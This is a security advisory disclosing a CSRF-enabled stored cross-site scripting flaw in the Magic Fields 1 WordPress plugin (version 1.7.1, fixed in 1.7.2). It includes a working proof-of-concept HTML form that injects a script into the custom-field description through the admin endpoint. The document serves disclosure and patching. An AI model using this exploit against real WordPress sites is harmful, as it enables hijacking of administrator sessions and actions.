Abstract
A Cross-Site Scripting vulnerability was found in the Magic Fields 1 plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.
OVE ID
OVE-20160724-0020
Tested versions
This issue was successfully tested on Magic Fields 1 version 1.7.1.
Fix
This issue is fixed in version 1.7.2
Details
The Magic Fields plugin lacks a CSRF (nonce) token on the request of adding a magic field. The description field of custom fields lacks output encoding which could result in malicious script inserted by an attacker and executed in the browser.
You need to lure a logged-in admin to follow a malicious link containing the poc below.
Proof of concept
The proof of concept below injects script code in the description
field when adding a new custom field.
<html>
<body>
<form action="http://build.wordpress-develop.dev/wp-admin/admin.php?page=MagicFieldsMenu&custom-write-panel-id=1&mf_action=finish-create-custom-field" method="POST">
<input type="hidden" name="custom-group-id" value="1" />
<input type="hidden" name="custom-field-name" value="asd222asd" />
<input type="hidden" name="custom-field-description" value="as22da2<script>alert(1)</script>" />
<input type="hidden" name="custom-field-duplicate" value="" />
<input type="hidden" name="custom-field-order" value="0" />
<input type="hidden" name="custom-field-required" value="0" />
<input type="hidden" name="custom-field-type" value="1" />
<input type="hidden" name="custom-field-helptext" value="" />
<input type="hidden" name="custom-field-css" value="magicfields" />
<input type="hidden" name="custom-field-size" value="25" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>